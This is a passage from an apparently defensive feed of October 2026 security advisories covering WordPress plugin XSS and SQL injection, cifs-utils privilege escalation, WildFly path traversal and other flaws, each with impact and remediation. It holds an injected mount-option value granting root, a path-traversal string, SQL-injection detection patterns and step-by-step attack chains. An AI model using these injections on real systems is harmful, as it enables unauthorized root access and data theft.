]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored Cross-Site Scripting in Complianz GDPR/CCPA Cookie Consent Banner</title><link>https://feed.craftedsignal.io/briefs/2026-10-complianz-xss/</link><pubDate>Fri, 16 Oct 2026 04:24:36 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-complianz-xss/</guid><description>The Complianz GDPR/CCPA Cookie Consent Banner plugin for WordPress (&lt;= 7.5.5) is vulnerable to Stored XSS due to improper input sanitization, allowing unauthenticated attackers to execute arbitrary scripts via comment content.</description><content:encoded><![CDATA[<p>The Complianz GDPR/CCPA Cookie Consent Banner plugin for WordPress, in versions 7.5.5 and below, contains a critical Stored Cross-Site Scripting (XSS) vulnerability (CVE-2026-97339). The flaw originates from the yotu-wp Cookie-Blocker filter's failure to properly sanitize and escape input within comment content. An unauthenticated attacker can leverage this by crafting a comment that bypasses the standard WordPress wp_kses sanitization engine. By embedding executable JavaScript tokens within otherwise permitted HTML attribute values, the payload remains dormant until the plugin's output-buffer filter executes a str_replace() operation. This transformation inadvertently modifies the DOM, breaking out of the attribute context and enabling script execution. Because the payload triggers only after the comment is approved, this vector necessitates interaction between an attacker and a site moderator or an automated moderation workflow, posing a significant risk for session hijacking and malicious redirects on affected WordPress sites.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of a victim's browser session. If a site administrator or privileged user views an affected page, the attacker could potentially perform actions on their behalf, steal session cookies, or inject malicious content into the site. The vulnerability affects all WordPress installations utilizing versions 7.5.5 or earlier of the plugin.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade the Complianz GDPR/CCPA Cookie Consent Banner plugin to the latest available version beyond 7.5.5 immediately.</li>
<li>Implement strict moderation policies for user comments, especially for unauthenticated or anonymous accounts, to prevent the injection of malicious payloads until an update can be applied.</li>
<li>Review audit logs for suspicious comment content that contains unusual attribute strings or obfuscated JavaScript patterns.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>xss</category><category>wordpress</category><category>cve-2026-97339</category></item><item><title>CVE-2026-93953 - Second-Order SQL Injection in Backuply WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-backuply-sql-injection/</link><pubDate>Fri, 16 Oct 2026 04:24:30 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-backuply-sql-injection/</guid><description>The Backuply plugin for WordPress is vulnerable to second-order SQL injection, allowing authenticated attackers to achieve privilege escalation through malicious backup restoration.</description><content:encoded><![CDATA[<p>CVE-2026-93953 is a second-order SQL injection vulnerability affecting the Backuply - Backup, Restore, Migrate and Clone plugin for WordPress, impacting all versions up to and including 1.5.8. The vulnerability arises from improper escaping and insufficient preparation of SQL queries when handling user-supplied input, specifically within the Biographical Info field stored in the wp_usermeta table. An authenticated attacker with subscriber-level access can inject malicious SQL payloads into this field, which the plugin subsequently exports verbatim into a backup SQL dump file. When an administrator restores this crafted backup, the payload escapes the intended INSERT statement, executing arbitrary SQL commands with full database privileges. This exploitation chain enables attackers to modify database records, such as changing the default_role option to administrator and enabling open user registration, ultimately leading to unauthorized administrative access and full site takeover.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker authenticates to the WordPress site with subscriber-level credentials.</li>
<li>Attacker updates their profile Biographical Info field with a crafted SQL injection payload.</li>
<li>The Backuply plugin executes a backup process, writing the malicious payload into a SQL dump file within the wp_usermeta insert statements.</li>
<li>The attacker waits for an administrator to perform a site restore operation using the malicious backup file.</li>
<li>The plugin reads the backup file and executes the INSERT statement, triggering the injection payload during the restoration process.</li>
<li>The injected SQL executes with database-level privileges, updating the wp_options table.</li>
<li>The attacker modifies the 'default_role' to 'administrator' and sets 'users_can_register' to '1'.</li>
<li>Attacker or an automated bot registers a new account, which is automatically granted administrative privileges, resulting in full site takeover.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in full site takeover and unauthorized privilege escalation. Attackers can gain administrative control, potentially leading to total site compromise, data exfiltration, or defacement. Given the broad use of backup plugins in the WordPress ecosystem, this vulnerability poses a high risk to any site using Backuply version 1.5.8 or earlier.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the Backuply plugin to the version containing the patch for CVE-2026-93953.</li>
<li>Review site administrative accounts for suspicious user accounts created via open registration.</li>
<li>Audit the wp_options table for unauthorized changes to the 'default_role' and 'users_can_register' settings.</li>
<li>Monitor database error logs for SQL syntax errors related to unexpected input in meta fields.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-vulnerability</category><category>wordpress</category><category>sql-injection</category><category>privilege-escalation</category></item><item><title>Stored Cross-Site Scripting in Flying Scripts WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-flying-scripts-xss/</link><pubDate>Fri, 16 Oct 2026 04:24:23 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-flying-scripts-xss/</guid><description>An unauthenticated stored XSS vulnerability in the Flying Scripts WordPress plugin (CVE-2026-109990) allows attackers to execute arbitrary JavaScript by bypassing core sanitization through an output-buffer rewriter.</description><content:encoded><![CDATA[<p>The Flying Scripts: Delay JavaScript to Improve Site Speed &amp; Performance plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in all versions up to and including 1.2.4. This vulnerability arises due to insufficient input sanitization and output escaping within the plugin's core logic.</p>
<p>The exploit mechanism is unique because it effectively bypasses WordPress core's save-time 'kses' sanitization. Attackers utilize payloads consisting of elements allowed by the core sanitizer, specifically the 'abbr' tag with a 'title' attribute and 'code' text content. The vulnerability is triggered post-save by the plugin's output-buffer rewriter. This component substitutes content into the 'abbr title' attribute using predictable, unsalted placeholders. By crafting a payload that conforms to allowed tags during the initial submission but incorporates double-quote-bearing 'code' blocks during output substitution, an unauthenticated attacker can achieve arbitrary JavaScript execution in the browser of any user who accesses the compromised page. This vulnerability poses a significant risk to site administrators and users, potentially leading to session hijacking, site defacement, or credential theft.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated remote attackers to execute arbitrary JavaScript in the context of a victim's browser session. This can be used to perform actions on behalf of the user, steal session cookies, or redirect visitors to malicious sites. Given that this vulnerability exists in a popular performance plugin, any WordPress site running version 1.2.4 or lower is at risk of complete compromise of the visitor-facing side of their web application.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the 'Flying Scripts: Delay JavaScript to Improve Site Speed &amp; Performance' plugin to the latest version, ensuring the patch for CVE-2026-109990 is applied.</li>
<li>Audit WordPress comment sections for unexpected 'abbr' tags with unusual 'title' attributes, as these are primary indicators of the malicious payload injection.</li>
<li>Review web server logs for suspicious POST requests targeting comment submission endpoints that contain HTML tags or encoded characters.</li>
<li>Implement a robust Content Security Policy (CSP) to restrict the execution of unauthorized inline scripts, which provides a layer of defense-in-depth against stored XSS vulnerabilities.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>xss</category><category>wordpress</category><category>cve-2026-109990</category></item><item><title>Stored XSS in RSS Aggregator by Feedzy WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-feedzy-xss/</link><pubDate>Fri, 16 Oct 2026 04:24:16 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-feedzy-xss/</guid><description>The RSS Aggregator by Feedzy WordPress plugin is vulnerable to Stored Cross-Site Scripting via malicious RSS feed input, allowing unauthenticated attackers to execute arbitrary scripts in the context of the target site.</description><content:encoded><![CDATA[<p>The RSS Aggregator by Feedzy plugin for WordPress (versions 5.2.11 and below) contains a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists within the processing of the 'media:thumbnail@url' parameter of imported RSS feeds. Due to insufficient input sanitization and output escaping, an attacker who controls an external RSS feed can inject arbitrary JavaScript. When the target site imports this feed and a user views the resulting post or feed display, the injected script executes in the victim's browser. This attack is particularly effective as it requires no authentication on the target WordPress instance, relying instead on the existing configuration of the Feedzy plugin to pull content from an attacker-controlled external source. This vulnerability could lead to session hijacking, site defacement, or unauthorized actions performed on behalf of authenticated administrators or users.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of an administrator or visitor's session, potentially resulting in full administrative site compromise, session theft, or the redirection of users to malicious content. The vulnerability affects all WordPress sites utilizing Feedzy versions 5.2.11 or earlier, which is a widely used plugin for automated content aggregation.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the &quot;RSS Aggregator by Feedzy&quot; plugin to the latest version immediately to remediate the sanitization deficiency in the 'media:thumbnail@url' processing.</li>
<li>Implement a strict Content Security Policy (CSP) to mitigate the impact of XSS by restricting the sources from which scripts can be loaded and preventing the execution of inline scripts.</li>
<li>Review existing configured RSS sources within the plugin settings to identify and remove any feeds that are not explicitly trusted or maintained by the organization.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application-vulnerability</category><category>wordpress</category><category>xss</category></item><item><title>Stored XSS in Colibri Page Builder Plugin for WordPress</title><link>https://feed.craftedsignal.io/briefs/2026-10-colibri-xss/</link><pubDate>Fri, 16 Oct 2026 04:24:09 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-colibri-xss/</guid><description>An unauthenticated stored XSS vulnerability in the Colibri Page Builder plugin for WordPress allows attackers to inject malicious scripts via the comment parameter that execute in the context of user browsers.</description><content:encoded><![CDATA[<p>The Colibri Page Builder plugin for WordPress (versions 1.0.390 and earlier) contains a critical stored Cross-Site Scripting (XSS) vulnerability, identified as CVE-2026-107758. The flaw stems from insufficient input sanitization and output escaping within the plugin's comment-handling logic. Attackers can submit crafted comments containing SVG elements with malicious data-* attributes, which are improperly permitted by the plugin's sanitization allow-list.</p>
<p>The vulnerability is triggered because the plugin's front-end script, colibri.js, is enqueued globally. This script retrieves the stored malicious data-target value using jQuery.data(). Because jQuery.data() automatically performs HTML-entity decoding on retrieved attributes, the decoded malicious payload is subsequently passed to the jQuery() constructor. When the constructor identifies a leading '&lt;' character, it interprets the payload as HTML, causing any embedded event handlers (such as 'onerror') to execute in the browser of any user viewing the injected page. This impact is significant as it allows unauthenticated attackers to execute arbitrary JavaScript, potentially leading to session hijacking or unauthorized administrative actions.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows unauthenticated attackers to execute arbitrary JavaScript in the context of any user viewing an affected page, including site administrators. This can lead to full site compromise through administrative account takeover, unauthorized data modification, or the redirection of users to malicious third-party content.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately upgrade Colibri Page Builder to a version beyond 1.0.390 that incorporates proper input sanitization and output escaping.</li>
<li>Audit WordPress comment logs for entries containing SVG tags or unexpected 'data-' attributes if the plugin remains temporarily active.</li>
<li>Deploy web application firewall (WAF) rules to detect and block incoming HTTP POST requests containing suspicious SVG tag structures or dangerous HTML event handlers targeted at WordPress comment endpoints.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>CVE-2026-104745 - Privilege Escalation in Customer Email Verification for WooCommerce</title><link>https://feed.craftedsignal.io/briefs/2026-10-woocommerce-priv-esc/</link><pubDate>Fri, 16 Oct 2026 04:24:03 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-woocommerce-priv-esc/</guid><description>The Customer Email Verification for WooCommerce plugin for WordPress is vulnerable to unauthenticated privilege escalation due to insufficient entropy in activation token generation when configured to use the 'hashids' encoding method.</description><content:encoded><![CDATA[<p>The Customer Email Verification for WooCommerce plugin for WordPress, in versions up to and including 3.3.0, contains a critical security flaw that allows for unauthenticated privilege escalation. When the plugin is configured with the 'hashids' encoding method, it generates per-user activation secrets using the <code>wp_rand(100)</code> function. This results in an extremely low entropy of approximately 101 possible values, or 7 bits. Because these tokens are generated via reversible Hashids encoding without a cryptographic MAC, and because the verification handler hooked to the WordPress <code>init</code> action lacks nonce verification or rate limiting, an attacker can brute-force the activation code space. By supplying a forged <code>alg_wc_ev_verify_email</code> GET parameter, an unauthenticated attacker can verify and hijack unverified accounts, including those with administrative privileges, provided the attacker can recover or guess the Hashids salt, which typically defaults to an <code>md5(time())</code> value generated at initial setup.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows an unauthenticated attacker to hijack any unverified WordPress account, including administrator accounts. This leads to full administrative control over the WordPress instance, enabling arbitrary code execution, data exfiltration, and full site compromise. This vulnerability impacts all WordPress environments utilizing the specified plugin version with the non-default 'hashids' configuration enabled.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the 'Customer Email Verification for WooCommerce' plugin to the latest version patched against CVE-2026-104745.</li>
<li>If patching is not immediately feasible, change the plugin's 'Encoding method' from 'hashids' to a more secure alternative or disable the plugin entirely.</li>
<li>Audit the WordPress user database for unverified accounts that could be targeted for hijacking.</li>
<li>Monitor web server logs for high-frequency GET requests containing the <code>alg_wc_ev_verify_email</code> parameter targeting the WordPress home directory or specific verification endpoints.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>wordpress</category><category>privilege-escalation</category><category>cve-2026-104745</category></item><item><title>SQL Injection Vulnerability in Frappe HRMS</title><link>https://feed.craftedsignal.io/briefs/2026-10-frappe-hrms-sql-injection/</link><pubDate>Fri, 16 Oct 2026 04:23:50 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-frappe-hrms-sql-injection/</guid><description>Authenticated attackers can exploit a SQL injection vulnerability in specific Frappe HRMS API endpoints to extract sensitive database information due to missing input validation.</description><content:encoded><![CDATA[<p>Frappe HRMS versions 14.x before 14.38.2, 15.x before 15.64.0, and 16.x before 16.18.0 contain a critical SQL injection vulnerability originating from inadequate input validation on specific API endpoints. The flaw permits an authenticated user, regardless of their privilege level, to submit maliciously crafted HTTP requests that manipulate backend database queries. If exploited, this allows unauthorized access to data stored within the HRMS database. Given the nature of HRMS platforms, the data at risk typically includes personally identifiable information (PII), payroll details, and other sensitive corporate records. Organizations utilizing affected versions of Frappe HRMS should prioritize patching, as this vulnerability provides a direct pathway for data exfiltration once initial authentication is achieved.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows unauthorized actors to extract data from the backend database. This impacts any organization running the affected HRMS versions, exposing internal records to potentially any authenticated user within the system. The scale of impact corresponds to the volume and sensitivity of the data housed in the HRMS instance, with potential for significant compliance and privacy ramifications.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Frappe HRMS to the patched versions immediately: 14.38.2, 15.64.0, 16.18.0 or later.</li>
<li>Review web server access logs for anomalous SQL syntax (e.g., 'UNION SELECT', 'OR 1=1', '--') appearing in URI parameters or POST body data originating from authenticated sessions.</li>
<li>Enforce the principle of least privilege by restricting user access to API endpoints to only those necessary for their specific roles to limit potential impact if an account is compromised.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application-security</category><category>sql-injection</category><category>cve-2026-111389</category></item><item><title>CVE-2026-84823 WildFly Path Traversal Information Disclosure</title><link>https://feed.craftedsignal.io/briefs/2026-10-wildfly-path-traversal/</link><pubDate>Fri, 16 Oct 2026 02:41:35 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-wildfly-path-traversal/</guid><description>An authenticated user with the Monitor role in WildFly can exploit a path traversal vulnerability in the take-snapshot operation to perform unauthorized reads of sensitive configuration files.</description><content:encoded><![CDATA[<p>A path traversal vulnerability exists in WildFly, identified as CVE-2026-84823. The vulnerability originates within the take-snapshot management operation. While the Monitor role is intended as a low-privileged, read-only RBAC assignment, a user holding this role can manipulate the name parameter during the snapshot process. By providing a path traversal payload as the value for this parameter, an attacker can coerce the application to write a copy of the server configuration to an arbitrary location on the underlying filesystem. This enables the attacker to subsequently access files that should be protected by standard RBAC restrictions. Successfully exploiting this flaw results in the disclosure of sensitive server configuration data, which may include plaintext credentials, service tokens, or system integration secrets.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker authenticates to the WildFly management interface using legitimate credentials for a user account assigned the Monitor role.</li>
<li>Attacker identifies the take-snapshot management operation exposed via the JBoss Management API.</li>
<li>Attacker crafts a malicious HTTP request targeting the take-snapshot endpoint.</li>
<li>Attacker inserts path traversal characters (e.g., ../../../) into the 'name' parameter of the request body.</li>
<li>The application server processes the input and writes the current server configuration file to the attacker-defined target location.</li>
<li>Attacker accesses the newly created or overwritten file to retrieve contents that contain sensitive system credentials.</li>
<li>Attacker parses the retrieved configuration file to extract administrative secrets for further escalation or lateral movement.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation leads to unauthorized information disclosure, specifically the compromise of sensitive credentials stored within WildFly configuration files. This allows a low-privileged user to bypass RBAC protections, potentially leading to full administrative compromise of the application server or surrounding infrastructure if sensitive credentials (e.g., database passwords, LDAP bind credentials) are recovered.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Review existing WildFly management interface logs for unauthorized or unexpected requests to the take-snapshot operation.</li>
<li>Audit current RBAC assignments to ensure the Monitor role is only assigned to authorized personnel.</li>
<li>Monitor file integrity on the application server, specifically focusing on the creation of new files in sensitive directories that match the naming conventions of server configuration snapshots.</li>
<li>Apply the security patch for CVE-2026-84823 provided by the vendor immediately upon release.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>vulnerability</category><category>path-traversal</category><category>credential-access</category></item><item><title>Improper Authorization in Lenovo Baiying PC Client</title><link>https://feed.craftedsignal.io/briefs/2026-10-lenovo-baiying-privilege-escalation/</link><pubDate>Fri, 16 Oct 2026 00:41:28 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-lenovo-baiying-privilege-escalation/</guid><description>A local improper authorization vulnerability in Lenovo Baiying PC Client allows an authenticated user to achieve privilege escalation through arbitrary code execution.</description><content:encoded><![CDATA[<p>A vulnerability identified as CVE-2026-92629 exists in the Lenovo Baiying PC Client, a software package distributed specifically within the Chinese market. The vulnerability is classified as an improper authorization flaw. It allows a local, authenticated user to interact with the application in a manner that bypasses existing access controls, leading to the execution of arbitrary code with elevated system privileges. This escalation of privilege significantly impacts the security posture of the host machine, as the attacker can perform operations reserved for administrative accounts. Given the local nature of the attack, this vulnerability is particularly relevant in multi-user environments or scenarios where non-privileged users have access to corporate workstations where this client is installed.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows a local user to execute arbitrary code with elevated privileges, potentially leading to full system compromise. This represents a high risk in enterprise environments where users are not restricted from executing local applications or where shared workstations are deployed. The scope of impact is limited to the subset of Lenovo devices in the Chinese market running the vulnerable client software.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Identify all endpoints running Lenovo Baiying PC Client within your environment and restrict local user access to the binary until an official vendor patch is applied.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>privilege-escalation</category><category>windows</category><category>local-exploitation</category></item><item><title>Remote Code Execution in Lenovo Legion Zone Application</title><link>https://feed.craftedsignal.io/briefs/2026-10-lenovo-legion-zone-rce/</link><pubDate>Fri, 16 Oct 2026 00:41:16 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-lenovo-legion-zone-rce/</guid><description>A vulnerability in the Lenovo Legion Zone application allows an attacker on the same logical network to execute arbitrary code on the host system.</description><content:encoded><![CDATA[<p>CVE-2026-75941 describes a critical vulnerability within the Lenovo Legion Zone application, a software utility distributed primarily in the Chinese market. The vulnerability allows an unauthenticated attacker present on the same logical network to achieve remote code execution on the target Windows system. Given the application's access requirements and the nature of the flaw, successful exploitation could grant an attacker complete control over the affected host. Defenders operating in regions where this software may be installed should prioritize identifying installations and evaluating the necessity of the application due to the potential for full system compromise.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-75941 results in full system compromise for the affected host. While primarily distributed in the Chinese market, any enterprise environment where this software is present faces high risk from lateral movement or local network-based attacks.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Perform an inventory search for the 'Lenovo Legion Zone' application across the workstation fleet using endpoint management tools.</li>
<li>Monitor local network traffic for anomalous behavior originating from or targeting Windows workstations running Lenovo software.</li>
<li>Remove or disable the Lenovo Legion Zone application if it is not strictly required for business operations.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>SSRF Vulnerability in bitcoinj Payment Request Handler</title><link>https://feed.craftedsignal.io/briefs/2026-10-bitcoinj-ssrf/</link><pubDate>Fri, 16 Oct 2026 00:41:10 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-bitcoinj-ssrf/</guid><description>A Server-Side Request Forgery (SSRF) vulnerability in the bitcoinj Payment Request Handler component allows remote attackers to perform unauthorized requests via manipulation of the pki_type argument.</description><content:encoded><![CDATA[<p>A critical Server-Side Request Forgery (SSRF) vulnerability has been identified in the bitcoinj library, affecting all versions up to and including 0.17. The flaw is located in the Payment Request Handler component, specifically within the <code>url.openConnection</code> function in <code>PaymentSession.java</code>. An attacker can exploit this vulnerability by manipulating the <code>pki_type</code> argument, which is not adequately sanitized before being used to open a network connection.</p>
<p>This vulnerability allows for remote exploitation, enabling an attacker to force the affected application to make arbitrary outbound HTTP requests. This can be leveraged to scan internal networks, interact with internal services that are not exposed to the public internet, or extract metadata from cloud environments. As of the time of reporting, the vulnerability has been publicly disclosed and is considered exploitable. No patch or vendor response is currently available.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this SSRF vulnerability permits an attacker to perform requests on behalf of the application server. This can lead to unauthorized access to internal resources, exposure of sensitive infrastructure data, or potential pivoting into protected internal network segments. Organizations utilizing bitcoinj in backend systems or wallet services are at risk of unauthorized data exfiltration or service disruption if their applications are reachable by an unauthenticated attacker.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize internal inventory assessment to identify applications leveraging bitcoinj 0.17 or earlier.</p>
<ul>
<li>Restrict outbound network access from servers running bitcoinj to only required external endpoints.</li>
<li>Implement strict ingress filtering and monitor for unusual outbound HTTP requests originating from application servers using this library.</li>
<li>If immediate patching is not possible due to the lack of an official fix, consider implementing a Web Application Firewall (WAF) or application-layer input validation to sanitize the <code>pki_type</code> parameter before it is processed by the Payment Request Handler.</li>
<li>Monitor logs for HTTP request patterns that deviate from standard wallet or payment request traffic.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Local Privilege Escalation in cifs-utils via Credential File Injection</title><link>https://feed.craftedsignal.io/briefs/2026-10-cifs-utils-lpe/</link><pubDate>Thu, 15 Oct 2026 23:05:21 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cifs-utils-lpe/</guid><description>A local privilege escalation vulnerability in cifs-utils (CVE-2026-104715) allows unprivileged users to gain root access by injecting malicious mount options into a user-controlled credentials file used by mount.cifs.</description><content:encoded><![CDATA[<p>CVE-2026-104715 is a critical local privilege escalation vulnerability affecting the <code>mount.cifs</code> utility within the <code>cifs-utils</code> package. The vulnerability stems from improper sanitization of the <code>username</code> field within credential files provided via the <code>credentials=</code> mount option. Because <code>mount.cifs</code> copies the <code>username</code> value into the kernel-bound mount option string without filtering for comma separators, an attacker who controls a local credential file can inject arbitrary mount parameters. Since the Linux kernel CIFS parser follows a last-write-wins logic, these injected parameters override earlier, legitimate security settings. By successfully injecting options such as <code>uid=0</code>, <code>forceuid</code>, and <code>file_mode=04755</code>, an attacker can gain a root shell through privileged mount operations performed by administrators, systemd units, or autofs. The vulnerability affects <code>cifs-utils</code> versions 7.0 through 7.6 and bypasses SELinux targeted policies.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies a local <code>credentials</code> file or path that is currently or will be used by <code>mount.cifs</code> with root privileges.</li>
<li>Attacker modifies the credentials file, injecting malicious options into the <code>username</code> field (e.g., <code>username=user,uid=0,forceuid,file_mode=04755</code>).</li>
<li>A privileged process (e.g., administrator, systemd, or autofs) triggers a mount operation using the compromised credential file.</li>
<li><code>mount.cifs</code> parses the file and concatenates the malicious <code>username</code> string into the kernel mount option buffer.</li>
<li>The kernel parses the final mount option string; due to the last-write-wins behavior, the injected <code>uid=0</code> and permission-altering options override the default system settings.</li>
<li>The CIFS share is mounted with the attacker's desired permissions, effectively granting the attacker full control over file ownership and SUID bits on the mounted filesystem.</li>
<li>Attacker executes a binary or modifies files on the now-accessible share to gain persistence or escalate to a root shell.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in full local privilege escalation, allowing an unprivileged user to gain root access. This affects any system using <code>cifs-utils</code> for network filesystem management, including enterprise distributions such as Ubuntu 24.04 and RHEL 9.8. The attack is particularly dangerous because it does not require setuid permissions on <code>mount.cifs</code> or the presence of <code>pam_mount</code>, and it remains effective even when SELinux is in enforcing mode.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Prioritize updating <code>cifs-utils</code> to versions containing the fix provided by the maintainer (Paulo Alcantara) to enforce sanitization of credential file values.</li>
<li>Audit all <code>fstab</code> entries, systemd <code>.mount</code> units, and administrative scripts that use the <code>credentials=</code> mount option to ensure credential files are stored in directories with restricted write access.</li>
<li>Restrict write access to any files used as CIFS credentials to the specific user account authorized to use that share, preventing unauthorized injection.</li>
<li>Monitor system logs for unexpected or unauthorized mount operations, particularly those involving modifications to credential configuration files.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>privilege-escalation</category><category>linux</category><category>cifs-utils</category></item><item><title>Incorrect Authorization in ClassroomIO Lesson Routes</title><link>https://feed.craftedsignal.io/briefs/2026-10-classroomio-auth-bypass/</link><pubDate>Thu, 15 Oct 2026 22:50:47 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-classroomio-auth-bypass/</guid><description>ClassroomIO versions 1.0.0 and earlier contain an authorization flaw in API routes allowing authenticated students to modify or delete arbitrary lesson content across courses.</description><content:encoded><![CDATA[<p>ClassroomIO versions through 1.0.0 contain an incorrect authorization vulnerability that allows authenticated users with standard student privileges to perform unauthorized actions on lesson data. The vulnerability resides in the PUT and DELETE HTTP methods for the '/:lessonId' route. Due to insufficient server-side validation of ownership or authorization, an authenticated student can provide an arbitrary 'lessonId' parameter to modify titles, alter HTML content, or permanently delete lessons. This flaw is not limited to the attacker's own course, as the lack of adequate permission checks allows for cross-course and cross-organization impact. This represents a significant risk to data integrity and course availability for institutions relying on the platform.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker authenticates to the ClassroomIO platform with valid student credentials.</li>
<li>Attacker intercepts or crafts an HTTP PUT request targeting the /:lessonId endpoint.</li>
<li>Attacker modifies the 'lessonId' parameter in the URL path to point to a target lesson outside of their authorized course.</li>
<li>Attacker injects malicious or destructive content into the request body (e.g., manipulated HTML or empty strings).</li>
<li>The ClassroomIO server fails to validate if the authenticated user has sufficient permissions for the specified 'lessonId'.</li>
<li>The server processes the request and commits the unauthorized modification to the underlying database.</li>
<li>Alternatively, the attacker sends a DELETE request to the /:lessonId endpoint to remove the targeted lesson permanently.</li>
<li>Final objective is the unauthorized alteration or destruction of course curriculum and administrative data.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for the unauthorized modification or deletion of lesson content, leading to a complete loss of course integrity and availability. Because the vulnerability allows cross-course and cross-organization impact, a single malicious student account can cause widespread disruption to an entire instance or hosting environment.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the update or mitigation of affected ClassroomIO instances. Currently, there is no fixed version available; organizations should monitor vendor security communications for patches related to CVE-2026-111369. In the interim, implement strict request filtering on the web application firewall (WAF) to block unauthorized PUT and DELETE methods for the /:lessonId route if they originate from user-level accounts that should not possess administrative privileges.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>authentication-bypass</category><category>access-control</category></item><item><title>Authorization Bypass in cool-admin-midway</title><link>https://feed.craftedsignal.io/briefs/2026-10-cool-admin-auth-bypass/</link><pubDate>Thu, 15 Oct 2026 22:50:39 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cool-admin-auth-bypass/</guid><description>An authorization bypass vulnerability in cool-admin-midway through version 8.0.0 allows department-restricted administrators to perform unauthorized administrative actions on users outside their assigned scope.</description><content:encoded><![CDATA[<p>CVE-2026-111366 is an authorization bypass vulnerability affecting the cool-admin-midway framework up to version 8.0.0. The vulnerability resides in the administrative API handling, where validation logic fails to enforce department-level scoping for users possessing 'sys:user:*' permissions. This flaw allows an authenticated administrator, limited to specific departments, to manipulate user data belonging to other departments by submitting arbitrary user IDs in API requests. Successful exploitation enables unauthorized record retrieval, password resets, role modification, and account deletion. Given that this vulnerability permits privilege escalation by manipulating administrative access controls, it poses a significant risk to organizations using the affected framework for user management.</p>
<h2 id="impact">Impact</h2>
